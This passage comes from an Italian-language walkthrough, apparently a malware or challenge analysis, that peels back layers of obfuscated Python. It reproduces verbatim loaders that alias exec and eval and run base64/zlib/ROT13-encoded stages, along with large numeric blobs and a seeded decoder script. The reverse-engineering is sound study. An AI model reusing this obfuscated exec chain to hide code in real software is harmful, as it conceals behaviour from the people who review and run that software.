1848824 2468864 6356855 3029840 9612965 2990782 6417944 1468680 1256430 4103616 713680 1555581 854960 1357216 3170368 2128992 831136 781824 1302784 1929408 382944 8752155 6077268 3948105 5496576 1255840 1923210 3209420 9715784 937170 3824984 7010000 8079468 3222520 4317830 423130 1478912 4481925 6360530 1361408 6148593 3601033 6359800 2907540 1275488 255645 11583351 6402732 5116608 6462774 9288369 2248389 9602171 11010330 1538700 3616106 1009680 8881554 6412000 7763365 10370580 3293760 2482612 10294340 2482480 11241828 1474128 2642800 7146180 3898202 10184570 2518304 2738745 6511794 13408 619245 9116092 3103264 1701648 1893222 1688503 839098 1471136 2725500 1444861 3847670 3560630 300576 11154840 7466550 797152 643360 2732281 673360 2431072 2450464 1007680 1228448 2654720 378944 1509376 2511616 6015964 492480 9121665 923814 2649856 1241918 8847180 6081372 8564592 6150799 3591560 10352650 7012010 3478176 5300472 3293820 2375784 513696 5602590 2047760 187840 9042660 3172990 4094700 2474106 611890 2546016 1300992 871104 1268736 570720 305280 2269792 1689536 837344 2351648 2980320 2067328 3206574 2004240 635912 4071600 1405152 2705598 7620820 6336615 2232040 110495 151008 4889091 6967850 2954336 11450320 9096912 1501968 4841608 1514784 4816660 1289079 3850620 2052842 6272215 1984944 8498715 958856 615360 1897111 756080 2369664 1763648 434304 294304 183776 1227360 1776928 1659392 751808 2229504 772608 2448864 4840605 5145627 7287280 11231352 5581440 4047171 9915804 972400 3074754 879660 1680096 1253856 2411552 582432 1504800 3023552 2988192 3144608 3167057 10081260 4405065 5905392 2953920 2048364 1222592 4573482 3352854 9726700 7628880 7506050 5632264 1870318 4928110 1114839 8961528 408068 1413440 1948905 4700520 1548736 9053748 6283632 8070700 2132312 211232 6118209 7744560 4451558 4386816 1637028 10444336 5045051 7449750 2452920 7038918 1203969 2076282 9142015 7635596 1912224 9679436 3941900 47500 2396384 3024980 6419160 5074650 264684 2591324 6599270 4893412 2990640 7136542 50430 3892359 2390778 4653936 9025570 4038095 1334142 5947455 5407654 2103672 500739 873740 1482880 1652280 6026490 502970 2027860 3484017 2826056 7247548 10312365 2879415 7447506 3548337 5125550 10864791 8917962 4123568 8514416 3248058 3002895 1823470 3234400 10428117 2694993 7089750 8651220 4236075 8411598 5161578 3088032 10018897 3896530 5688292 8535242 9551469 3477684 4437965 10351635 2167830 3068890 8922712 7144906 342576 8948170 2616980 1334272 4348816 7028906 2924672 6600836 4575502 8454520 2652912 9485204 1580044 9935057 708896 3893198 5484132 1924224 1000400 3491745 1110369 2271830 6735948 2895390 1468640 4678662 7408000 681024 239020 10089198 3031776 850260 771829 3065552 5451948 8146458 12383875 2160632 327873 2576112 2659838 2789696 4962276 3782658 4159650 3536840 5518854 9660219 3750192 3847960 1155913 612230 1214624 3155904 936992 2978080 86560 3003136 2626400 2346368 6631559 610416 2205525 7059522 3051296 137700 6246225 7170966 4850358 3130697 8331692 119240 6353290 5996432 487813 11113746 8918098 2869532 1241472 10107615 914650 611520 1898622 6395357 45100 187282 858816 8504480 2137212 4395612 4752353 4421073 7139990 9560 3040601 4324228 3185184 1370160 8157834 4271190 10667824 9130260 2635362 3138696 3946320 2417401 137710 1287936 668384 2540480 441184 2251392 777856 3070848 165408 2394104 2742552 1666140 7496592 1574848 1202852 478515 1332240 8306766 1903096 6642500 3703515 1268302 3468630 504696 3043296 1240155 8668440 1454144 6017814 8644354 7023900 4419020 2554752 11247000 661167 4171958 9021824 3410082 7285818 3545784 367236 9412750 6791325 2008544 7773520 4721718 478800 6905875 1829520 3737200 1287104 1688660 1600144 6763419 8029752 3047000 5558547 9505958 9195230 89472 3794580 4904405 1488512 3486555 10352072 3142784 3119952 1914472 214225 3726086 1197312 10631405 7977651 5066210 1725966 6738922 4236720 1165500 1946712 2349720 371255 194590 2656256 3188864 238144 3101504 827264 2843200 1771584 99712 5559343 10368432 2023770 488682 501024 2285480 119600 3648755 5827740 387975 2142250 1350888 4853586 249594 923296 10027815 9732800 952352 3003858 7448515 8175400 4654210 603776 630500 1245280 2284832 367712 3173760 1419808 2930624 3199488 2026560 3584 374496 148448 2612032 7635390 5226592 1825504 3992694 3022752 9527778 4449757 9831 11358477 2094134 8235035 8714848 11340265 1317716 4392847 7082625 3504360 500960 583557 10097568 2921576 10654484 1099616 2233760 4282662 1025023 2389386 9863271 2718872 7249679 3437082 719361 5269740 5109216 874414 7516433 9873656 2342938 5539776 11088456 2336400 8565779 9210719 1545715 2021976 7137801 10586847 8541894 1818960 3021372 2754158 2336936 900011 47640 10875348 3986314 3506925 2940020 5143566 92610 5714128 2496240 1167721 3411616 2650208 2497950 5830440 2160578 9046019 8703574 3100384 1149789 162816 11004112 3014388 783372 10061028 9990696 10522578 5623620 4651466 2433584 7480512 9586720 2847726 10224527 4057372 3435080 3772369 214480 1368288 1004256 2117760 1850688 2582592 662112 2670880 1532416 2927872 863616 2936448 473728 4719692 1821150 1450464 2408402 429792 2890560 8739156 418744 3047624 3164380 486700 1457729 2665441 7619397 7789440 1341873 8977682 6228684 1869525 2515788 2252160 6546056 3686032 4357308 770784 5983950 1634010 4523680 8790750 89120 5034757 3203414 7469109 2991569 11631246 8121300 11143308 5607520 3574328 618976 555488 9784527 6834438 10022320 3636530 7552719 1238260 685722 7598740 687885 2900990 10597528 7140700 5270477 3305125 755420 4275180 1485994 9205047 6341634 9603387 9755700 9681961 1374880 6374238 5951047 10738244 459954 1733736 169792 5057268 4095936 3843950 1597493 8799679 3398751 2692702 8670420 5276052 4894600 519847 2777375 431670 4243967 1987245 3073278 4527220 739825 938520 2166450 5169518 7171055 2034544 2135096 2203008 5726880 11382813 10743810 4098541 1032339 9394818 4573228 4375320 1531362 1540944 7885777 9629481 1075825 769317 11239000 573490 4756570 1198711 2802927 618082 2672460 6011220 7030295 7909125 8703732 1390180 5456060 675072 4316439 11445408 3495140 8190389 675582 8952539 1420480 7401314 7640953 502512 837315 1583820 648351 7535550 11421000 783930 7892157 3010043 2110077 4242084 2803494 615483 8979048 488670 932140 2728010 3793606 429376 9501627 3264183 8946850 7212920 2137490 2170793 3157532 9881177 3576778 6527070 9419072 8926155 6430270 6221600 2079000 480270 6435611 321769 9004539 7478240 1951338 2310909 1981584 7340579 10837370 1234525 1548894 1532388 2332818 2281632 7221699 9134073 10883950 5993048 7188005 9959610 1097514 8705872 9920280 5852586 3859218 9010513 37030 2078510 6884331 870162 9310500 340540 2692288 2426784 2787648 845088 3304936 44880 1671406 1831675 328050 1492352 877792 910112 240512 2470240 2652672 289312 1593792 906272 2454880 1868576 1622656 8050115 3261124 6559600 9179385 10649540 3386400 285200 7982540 3952038 4189036 3571764 9883280 2964357 9618816 2862500 8178273 3541960 1483298 2397270 3680951 1499040 6413616 4007655 1106820 8236580 8010096 8931837 881820 4440 3458391 482800 864096 3101312 192416 687904 224992 560864 1218752 437760 1187053 2473092 1489215 3892830 658944 1427592 7792100 7133304 5304901 8691980 3719844 4799862 8462668 7114000 1780478 3120864 3904425 8838610 3168544 5803182 2828550 8893600 4096540 265890 786272 1169408 1857664 1435968 1962528 1152736 2447136 2599168 1021504 1032288 362464 2788928 4410276 10223745 3733452 8868810 2838990 1947663 361117 9068487 860992 1965115 265344 7894755 4628794 3476900 1159340 660801 2279864 7601727 961270 1250912 1629760 279488 1480640 1812000 591904 318528 1550176 513632 609536 2169184 2479456 3650220 7042998 2015328 5684754 6806390 1542104 8431136 9546061 9361664 2608320 1432532 1275630 2972280 2907555 11255050 2415352 10796545 1170040 7847778 7535745 1531224 2222 8651940 2255347 9142484 6594896 2093050 1775264 2418101 4330146 652960 1196580 11009322 7951905 9200494 4585132 612470 2836160 713728 2063392 727392 1842720 1163328 1230464 46080 870240 1516192 979744 1321056 1705952 92640 3172320 2341920 1763410 2319504 9027040 2766087 10509180 9334500 1831560 1068824 719210 8325413 4387284 383460 2034084 1846394 3238262 7896900 2138400 10804296 8453800 5235133 3679640 596017 42558 247780 2205376 1684544 2717440 1038976 144512 246208 491360 1011744 1763328 717344 2771776 1913888 1516512 2209664 2095136 2688224 9269230 2673870 609088 5706062 2566336 10617950 8042172 8089983 3994738 4601257 7736852 2597666 2041595 8623035 9474993 4001265 7462284 3603424 3853000 9938530 7052274 4326894 10369370 2438241 10170996 2690264 2433795 5469590 1841290 3915428 5400720 4673025 7818636 1319340 776064 5418915 4305690 7729128 5290722 9385829 9292992 1914014 5218459 5184375 3792736 231075 3884550 7242580 4885104 7106776 3061047 4513860 4100712 3329979 406330 3101792 3091456 1664416 3029376 1426336 804064 586304 129344 1184160 2926624 450752 1888000 1388064 2348800 1846176 589216 9116740 883386 2029060 621027 9134301 8432050 3759580 4386632 163845 849584 952600 2564280 6593184 331563 2644546 6328728 4214628 3158016 5382990 1880226 2384640 3855654 3823701 2271400 670190 137952 1775808 83552 2983904 176608 1510496 2178272 1249024 548064 646656 70688 2436288 2219680 1173120 1940544 2617856 3654354 9996525 5536944 4251393 6352715 3121545 12152664 7488746 360960 414495 651712 4291482 8832345 522652 6303584 1314835 1186912 5408416 675142 8355566 344107 407856 4469935 7149975 539728 4840627 3864720 458388 3947580 6562404 8510765 4030180 1256344 6963683 3738515 981786 645120 2907712 2383392 1292736 953024 2593344 2860320 2138272 1338496 53824 1947360 3054880 1803200 14688 996096 361472 2791488 1889335 5517030 2259520 1858170 5403197 10356280 2870900 3234600 645558 2661622 8369781 951660 1884120 9623016 6312702 8519610 9236243 963996 2858502 2646000 10048362 2879685 5201427 7783440 2673385 4532632 5573100 4766328 7448357 6533350 762375 7425756 3784914 1268610 7114392 8218774 9405160 1009890 5018470 3039090 4850875 1084566 1784340 5684583 7375720 9449253 6548223 4314500 5356434 663640 2459016 699829 482890 1133248 434112 1635104 1169024 156000 3079232 2520992 1057248 1252992 1164736 2431232 1592384 2740992 2777952 141472 1154816 1650173 10046190 8140184 7338552 994016 3359415 6762784 7216551 1688830 3475720 9697854 8476230 5091228 7699735 9339990 9624243 5644565 2648422 2388804 1495488 1885878 2484858 3801518 1341096 1295436 638240 9323252 5568645 1260928 8622162 4748866 958570 2342880 1827808 779392 2468896 2671072 1181920 1907872 1408608 174720 147968 1857760 2041856 2731776 2828608 2882176 2510880 647744 135328 1275936 3030528 1644461 2444208 4773300 5119632 9578436 952032 2436252 9649986 10862865 1018888 4727232 36990 996704 150976 2140000 1696576 2987776 1953568 2217184 375616 2351072 1768928 171616 1630368 2547200 3175680 214976 1754688 1623616 2943296 3199488 377984 1166752 2428832 3070496 1335360 9262274 6169790 6483588 9046065 7349420 3309040 817608 3035858 1205807 8888400 1194400 3057442 2075200 4465050 4063778 5369856 174326 1901976 569700 3487000 4947426 7344170 1742090 6550530 3253350 4011768 4283550 1047709 4383139 4139370 4176432 3252899 458430 1575040 1006464 816800 767360 398464 901344 1050816 2061376 2455232 534272 2864352 1182784 1477600 52640 1184480 365216 3193088 2292384 844672 388352 1478592 2496352 49824 2893600 4539990 4569396 1442816 5153170 4250856 366908 2020800 2137870 6669883 7380616 284214 4088250 12825 6919230 47369 8236561 5971400 2506586 2879040 9216704 10665384 8940318 8678687 9661458 137560 574592 3180896 2355424 671936 732960 1153728 1057888 8032 2891616 793216 1393920 304960 399360 1738144 177056 1296256 1204672 768480 2364704 2898432 3076192 546048 616864 1191936 10690285 5051568 3177174 2211335 8089797 4270640 9714600 3427204 1857384 1003428 2435760 935998 5924644 9197756 4934759 11310825 2648125 4719258 3211093 2808926 5306800 259981 12540 2463040 1776384 1299296 3130176 1879008 2891776 1051232 457216 416288 854912 2097856 112512 184064 1360384 163904 2660864 5646500 4802478 3438914 8436681 1024704 4391271 6408490 5810227 1682320 2853272 153000 1024672 1594944 3176032 2508064 1623328 1112192 21344 184928 1915296 2270848 415264 319232 8068385 6908004 10266855 7860830 1856290 1509408 8421105 1651400 4373680 638825 6723090 6613900 1595400 1656140 1832710 7581189 2815574 1612760 9655398 3636490 1904958 6099006 6146200 9984961 154760 1512900 2140241 400750 2333856 1580320 2410624 1018304 403648 1440064 403712 1734368 1872800 2190752 637984 3051936 8945640 9583740 2816660 8706380 1309290 8046834 5865156 2547200 3841987 210740 1555488 2164128 136640 2019584 6590305 440416 1899784 946912 4864960 7843593 7554492 7565435 805374 3585560 1592336 1328595 6007542 4108401 10614079 5797703 6882628 2898880 10249950 8719827 9883665 2344156 3109184 10483500 4581508 2013050 6557880 8337485 552975 5213442 4621137 4402020 2163832 2263200 10011440 1252413 3259179 10007282 1862642 6047428 4178272 6780436 6335010 4456505 1074750 496565 7184480 4796232 2503706 6647529 2662530 1213443 3906685 4617104 2034176 5929170 795984 2600037 10416684 6937260 10892530 4928598 9159678 4806228 3147400 86640 1848240 6881927 7909485 3711792 3693888 2214176 963680 3245794 1659844 7817964 2777545 2994517 4073655 1615328 834471 1823508 4565770 11314524 9742212 6554883 1439856 3057560 3800987 1710016 737190 4279700 4189379 1986654 3167872 7353027 269000 391632 1488396 411800 1927072 3196576 2918304 1160800 10274460 7368192 2411010 866160 6606915 1932608 7470876 8939652 4964310 9178476 1590244 703910 380992 323296 3028160 2071520 231936 3064128 642656 2008384 2279632 5777730 6146113 815348 4891430 9912186 1390368 1227442 1624128 22885 3997952 2645644 1017792 6873151 6346791 3665316 1567240 4670239 1656864 888200 3898024 2148646 1380644 6704200 7044245 7635771 1428126 5583300 7872748 1054400 2060168 404530 1074080 2855072 2682528 390592 2948576 702016 736384 1595520 8298045 1422186 358848 2217208 1171390 882528 3898139 4846254 4377956 2704190 1116512 5233200 3757050 1496704 4230404 10374420 4319511 1523988 7499755 9525726 4427894 1096064 5348376 3000240 7854840 1587417 2509430 4157324 8900645 6984525 10111372 2113727 2892978 528148 3913120 2339460 825910 2204576 386688 1197600 1242496 255808 2303456 493184 590688 786083 2326968 5849015 5713065 1772886 1653344 457585 4264624 2530276 6759355 8089797 4912930 5035600 2501320 1736278 4249986 3787619 2871402 2663768 6643679 3562900 2971089 261960 5374200 2495407 1619800 1216634 2567748 231350 2493645 8291400 6751080 8640756 1923141 954880 1563912 10881072 138762 5066968 4338806 340510 2255136 1249472 1833344 2013952 10797512 1792536 6130465 3438704 373056 668460 3161216 2435296 1390016 1225920 27488 545568 2000384 2256320 5231580 8220912 2584960 5985259 1735392 10289855 8367624 9094140 2142354 4471876 6258896 697820 1930390 448995 8783181 10186293 8340277 1620868 3196560 11147525 10981119 3033261 6327017 4954757 10668868 3339278 3170830 3042760 2573170 5252934 3823638 5095512 4926768 3274876 3193536 6914030 1277277 4226310 4654607 5878907 150684 3717674 5429528 421070 5658820 5799525 6805230 8094077 5046972 5498838 2482137 6213025 1763916 1626552 2722555 2223040 9022900 7334432 2732952 5300856 4399374 10150690 10013300 1149683 5975244 8826556 2473600 2255280 6386112 5144796 663170 7497672 468732 2763264 1776544 65128 1681240 4053099 1126926 2467831 475710 518592 163296 629984 2825472 173792 1509568 2594624 1122752 5494230 2200224 5855220 9915804 5591966 2286112 7933464 8414682 431262 4644586 3531736 329184 8876043 2521240 3598201 903740 2727232 2488448 1409920 2600320 6668727 5484720 3601620 9230087 10310384 2495508 1250074 3153504 9970464 4759596 10079865 6658270'
why,are,you,reading,this,thing,huh="\x5f\x5f\x5f\x5f","\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f","\x28\x22\x22\x2e\x6a\x6f","\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c","\x31\x30\x31\x2c\x39\x39","\x5f\x5f\x29\x29","\x5d\x29\x29\x28\x5f\x28"
b='eJyLci8xdsz1yHV09zGICowyiSoPygHSRgBfvgev'
____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kFFzRDAUhf/SitXWI1OskKIs4Q2zi04QXSHJry9mtw935pwz98535maElqnQH56yz0dLgStQyA6Pk4xRcAFGqC3GanEEjQ4ll8oH+q77XFri0DZ7GxOxPH1Dr5mgalH5Mu6R459ymQIj+d9dsM1blLjrCCyBQ37fWDWVymMEmZw8Y/U9q6Nbp1zW3QDPG48RnIh2Clmd93ON7UCOajoPdlCPSzCazjfJw6+zGc33NOLEDH/moud7dioiNh08qL142z1/Rx4TPmHqcOW3X6grGMQE2Q1BMOYD1EqsWtXgFbfh6laH3jOnef5p61YaAsHPqrD5km0//AN8S3Fv")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')
Notiamo che è definita una funzione lambda di nome _ che prende in input una stringa (ed un numero). La stringa è divisa in parole, ogni parola convertita in un numero, divisa per un numero casuale (_______
è il nome con cui è stato importato random
) ed il risultato convertito in un carattere. Tutti i caratteri sono poi uniti in una stringa.
Sembra quindi essere una funzione che decodifica una stringa ma l’uso di random
lascia (al momento) perplessi.
Iniziamo analizzando il seguente blocco di codice:
eval("".join(chr(i) for i in [101,120,101,99]))("\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x5f\x22\x2c\x70\x72\x69\x6e\x74\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x22\x2c\x65\x78\x65\x63\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x22\x2c\x65\x76\x61\x6c\x29")
E’ immediato osservare che "".join(chr(i) for i in [101,120,101,99])
è la stringa “exec“. eval("exec")
si risolve semplicemente in exec
, per cui il codice sopra non fa altro che eseguire la stringa codificata con gli escape. Questi possono essere decodificati con Cyberchef per ottenere il codice in chiaro:
setattr(__builtins__,"______",print)
setattr(__builtins__,"_____",exec)
setattr(__builtins__,"____",eval)
Questo codice quindi non fa altro che assegnare alias poco leggibili alle funzione print
, exec
ed eval
.
Segue poi una stringa di numeri, che conterrà probabilmente il prossimo stadio e che verrà decodificata dalla lambda di nome _
.
Il prossimo ed ultimo codice da deoffuscare in questo layer è il seguente:
why,are,you,reading,this,thing,huh="\x5f\x5f\x5f\x5f","\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f","\x28\x22\x22\x2e\x6a\x6f","\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c","\x31\x30\x31\x2c\x39\x39","\x5f\x5f\x29\x29","\x5d\x29\x29\x28\x5f\x28"
b='eJyLci8xdsz1yHV09zGICowyiSoPygHSRgBfvgev'
____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kFFzRDAUhf/SitXWI1OskKIs4Q2zi04QXSHJry9mtw935pwz98535maElqnQH56yz0dLgStQyA6Pk4xRcAFGqC3GanEEjQ4ll8oH+q77XFri0DZ7GxOxPH1Dr5mgalH5Mu6R459ymQIj+d9dsM1blLjrCCyBQ37fWDWVymMEmZw8Y/U9q6Nbp1zW3QDPG48RnIh2Clmd93ON7UCOajoPdlCPSzCazjfJw6+zGc33NOLEDH/moud7dioiNh08qL142z1/Rx4TPmHqcOW3X6grGMQE2Q1BMOYD1EqsWtXgFbfh6laH3jOnef5p61YaAsHPqrD5km0//AN8S3Fv")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')
Possiamo immediatamente decodificare le stringhe. Ricorando poi che ____
è un alias per eval, possiamo rimuovere un po’ di eval
/exec
annidiati per arrivare a questo risultato:
why,are,you,reading,this,thing,huh="____","in(chr(i) fo","("".jo","r i in [101,120,","101,99","__))","]))(_(";
b='eJyLci8xdsz1yHV09zGICowyiSoPygHSRgBfvgev'
eval(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kFFzRDAUhf/SitXWI1OskKIs4Q2zi04QXSHJry9mtw935pwz98535maElqnQH56yz0dLgStQyA6Pk4xRcAFGqC3GanEEjQ4ll8oH+q77XFri0DZ7GxOxPH1Dr5mgalH5Mu6R459ymQIj+d9dsM1blLjrCCyBQ37fWDWVymMEmZw8Y/U9q6Nbp1zW3QDPG48RnIh2Clmd93ON7UCOajoPdlCPSzCazjfJw6+zGc33NOLEDH/moud7dioiNh08qL142z1/Rx4TPmHqcOW3X6grGMQE2Q1BMOYD1EqsWtXgFbfh6laH3jOnef5p61YaAsHPqrD5km0//AN8S3Fv")).decode(),"rot13")).encode())
Si nota che il base64 è prima decodificato, poi decompresso con ZLIB, gli viene applicata decodifica ROT13 e poi un’ultima decodifica da base64. Cyberchef ci aiuta ancora una volta ad effettuare velocemente queste operazioni per ottenere il codice seguente:
_______.seed(____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b)).decode(),__irm_obfuscator__.join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode())))
exec(why+you+are+reading+this+huh+thing)
_______.seed(1)
Notare l’importante chiamata a random.seed
(_______
è un alias di random). Impostando un seed specifico la sequenza di valori generati sarà sempre la stessa. Questo permetterà alla funzione lambda vista precedentemente di decodificare il prossimo stadio.
Il seed è decodificato esattamente allo stesso modo dell’ultimo blocco di codice ed ha valore 187753564038212036
. L’espressione why+you+are+reading+this+huh+thing
si riduce ad una stringa che chiama ed esegue _(__)
ovvero il prossimo stadio.
Possiamo quindi scrivere un semplice script per decodificarlo.
import random
random.seed(187753564038212036)
__='8187795 6166566 669984 7323780 8101980 773836 15520 4844145 4242309 2502324 4988768 1059692 259608 3208304 2079808 8108106 5951480 261140 1354688 9825140 9239318 7013390 3837592 2964576 9336390 8776287 7141064 2863952 1817274 169275 4722696 6944558 1259940 782575 748352 573024 3145800 3481167 2182114 2005864 4692192 2398713 4711848 7687200 4194960 1639488 11492352 247832 7724412 9409564 4474707 6099400 6614475 2839870 1048231 892804 2530400 7948416 10077372 7273545 5861944 3566940 419913 5393112 8440415 1572472 2727776 4820490 4282905 2741832 1326897 396728 9917255 8402460 10249375 1111044 531904 701730 10114272 11139852 9690642 1772199 6092088 1688060 2201824 862160 1962021 6122104 3783164 1942688 9076420 2030175 7940105 6109086 784690 5834298 273714 782106 8852544 239520 9912000 8008350 1303200 5242505 10441160 1630884 9345126 6673309 38804 2008768 8018850 9174094 6237504 7221105 5658504 3059500 910656 2763236 7455591 1989870 6674989 530654 5115220 216547 4461392 5779939 4220850 8099796 6083332 3534624 6848415 5373806 1669910 3944 837250 4178940 8240490 5828832 10589350 1745504 9875291 491510 9435865 1867936 4858875 10892479 10313968 1844043 2931054 9697484 591328 9928919 2586235 2973785 908210 4576000 1047309 3248336 2436192 1593259 482336 2426880 7091590 455444 10065375 3225474 8707593 10981050 1132485 5403456 2664025 1105632 7104456 3818125 890133 778680 1893551 4254663 6995016 2514400 3078487 965568 666040 905726 3605212 4458201 481252 1541904 4369950 3264896 3060530 4382511 1120744 178948 1790019 1603576 1846845 2633052 1512192 5088560 1946718 514386 1301916 320736 56425 1542208 3534388 4308928 2942139 852108 2476230 984256 262680 6577215 5948390 4945780 2419416 7723908 687168 4409324 483872 2284135 2300016 2580968 4705568 5219811 5301780 4019166 238006 1894528 3057554 5826912 2538400 2289040 7773190 5132530 2356368 6425939 4674000 2986784 2840404 3185920 358530 5115840 7959700 4294077 5857040 4810520 2317812 2518295 4032000 1335732 7725876 5104212 600134 2218459 344736 1808664 7947755 752850 6644400 6472338 6653972 6750225 2848394 6577665 7895430 5972226 67872 5952685 1089952 689936 2164848 1442328 3470580 1499662 2311808 4294719 10563315 3689650 8065568 1483704 752046 1186816 5848558 2188928 2197400 9414090 1355886 3089268 2534840 9262627 2376015 8386625 3341792 3014074 2173920 3736647 240096 361536 355908 4207350 8951360 7944724 2594280 957231 10867233 3358508 1140496 8222040 7960416 2771190 152170 1255410 11414785 4147866 7616224 136419 8799616 450864 10810030 801840 5554308 1561287 7242078 9851237 1484127 222528 6036504 1190300 6270000 2385536 786420 2491920 1574025 4511910 5142598 985720 1657580 618800 1966196 7060610 940056 6442878 1574832 1268535 3583175 787172 3354090 2178084 2027312 3027093 205163 6021960 7281456 8233419 5898360 4223082 6420519 7748240 1286516 6205185 9330651 11320656 2522031 6630785 3842931 9787410 9230004 7136992 3483219 1170750 4070770 143300 2792205 8444359 2151995 2625128 1720359 5536089 3502194 6773538 9403201 6751140 7231556 2995122 9540258 4715268 5204555 9638370 9513921 7073220 703800 5324178 1241019 4820970 1027140 1860896 4417718 3387072 118432 6348276 2058178 8112207 6361200 8238668 4577926 5375252 2875552 3986822 3861640 2207968 1060014 1973193 2877843 7457500 1995071 1337310 2144512 1464661 4415000 483648 1406002 2529741 7156314 2676876 7028320 4972240 1295136 6608026 11895500 1546796 2731092 3230923 827020 3376800 3937788 6728022 477504 6113844 1662552 9639210 6758011 4821850 4619120 6626725 1561585 1077292 4377125 8468832 118668 844480 1662386 3875908 918240 387040 2236000 538240 741408 7776200 8535106 3174036 1504320 7686026 815382 2256555 7902510 1369248 3293080 2573734 1078800 482840 333792 2872288 457440 125280 798944 1438848 3139776 2896640 4179006 10141965 5891936 444030 2746590 3902892 9765201 4952970 626496 2500512 1595520 2585745 11154885 4208356 8262763 1660339 775692 7068492 6916743 1556124 2700285 873730 3868000 3397957 857093 240160 6924882 6230387 4836785 1528300 873235 403392 3320047 1391840 5576085 6929440 459632 4129476 2844564 1339336 7107705 5355 505700 2613000 23411 3715803 4167358 960302 6239556 269600 1004224 1269760 241696 2195840 334720 2159744 1753568 2677760 7888200 9354923 7417950 1530560 7119294 10993704 5000296 3762320 2237200 4147720 4499872 3233883 3693854 5190594 167760 3103232 1739264 2053088 1605632 1047072 604352 2108576 543616 455520 2594304 1181024 1032864 2369171 7461615 463652 2388568 3008960 5444772 2042768 9174537 8720140 2117160 5292882 88570 3739815 5262996 4871533 2961365 11451288 4350885 1400375 252242 8098392 8077968 2629645 1325950 6921429 5410668 10341260 1476968 7991120 5510892 4494204 10868995 8715795 7653162 5278130 6820458 2279517 3262875 11307375 4686020 9182520 4532580 728896 10673152 576504 1528138 10144896 5019362 1031412 1316336 2454260 9118095 1141593 6819694 6773970 4969140 2548529 1077136 6402556 4060008 7955366 1082829 9977688 4762122 4320644 6835600 2035270 11423216 2382600 10682788 1426640 909832 1422628 2153982 1975366 1663903 252608 8267407 2723545 939264 2728908 3854235 4737420 4007882 3495660 2217248 5209038 8511300 9845172 9252509 597724 11525388 4585308 3480225 5790720 4931123 1831600 9406100 1958818 8270684 610227 1261488 625250 1239872 2582336 3059808 1464608 1817536 2676736 677792 1142560 268700 1436321 4657116 1521536 8675304 6929943 9258258 1087840 9278676 3303248 6113037 10876512 3971342 1353024 336470 878848 1469472 2634208 3089120 1773024 3186048 2715712 2578432 579680 2381664 2866144 453184 5159385 8725488 1110400 255024 7492680 2508323 5828250 1439616 4886710 5692093 489152 2570706 8171210 2605568 2884586 9113742 736997 2725440 2551768 677536 2657112 2102416 10775936 3774303 7597416 4455440 580448 1009154 1621600 8398 53750 1128960 1216544 1833504 1375904 499296 2442880 2661024 1990880 1350272 2224704 2940096 959264 308252 6396300 6485115 7360626 5184 2110752 1564187 1840630 2532240 5329170 6189560 2250594 7825530 2999027 2529920 5259274 1095136 2201178 2764860 3136480 5520108 1433796 2486112 896922 10439436 9192370 1694784 2801600 1340521 2695265 9730840 2679981 2224178 1440416 1677506 1819648 5903667 3939936 6350493 7183368 71820 640768 2112576 581632 2272256 1641248 182016 19872 2512032 2375680 2781568 826496 2112160 8430268 6603552 354660 8868608 3804626 1943264 5203416 10064145 10260780 10000926 2249562 8582310 240640 626076 7877896 1678876 8650776 992290 2404224 59488 2300768 2745408 746784 2626080 2834848 2002560 5633900 4118477 876180 2379520 4651560 1188144 3567508 1301480 3075955 802518 4141303 9819150 4570400 3050605 4440712 744064 11360573 1210566 2517780 1853960 8701518 2109852 9834440 2998880 5031719 5036240 6878605 2440680 375376 4138620 10978220 3487344 10266601 5298662 2869590 3036706 542600 1331520 2348896 1977888 2493984 20000 1544960 138752 130336 6054916 6212712 568700 9272270 7040952 1572467 9379008 926800 157964 8441883 920920 641915 2306976 633954 6169585 2406260 3359380 1586640 7860456 9775215 1997582 2081324 4252012 2415872 1887373 7458446 11399289 2285360 6282378 7925676 7031064 3707000 2571354 9462404 784439 1771875 9241024 2081200 2260207 412500 1667744 2033856 128288 2589280 4247000 5884058 3442296 1574304 6081660 7612011 3668976 3054644 241087 2289100 599560 721149 498684 858680 351584 3119200 2417792 2785088 93664 2225920 1401472 86784 11238030 5013640 2340690 7104300 8592878 9468954 1215520 1196271 541952 4350694 4555386 10451520 4330981 2162814 8469450 769493 1204320 5191149 7311732 1041209 169376 6056748 2795100 2017778 10597510 8981184 2771520 4356072 4949745 420561 6619956 3596560 824192 3027148 2272481 704476 3092497 1570218 3722723 75840 2408624 2464256 6096035 1050176 8120812 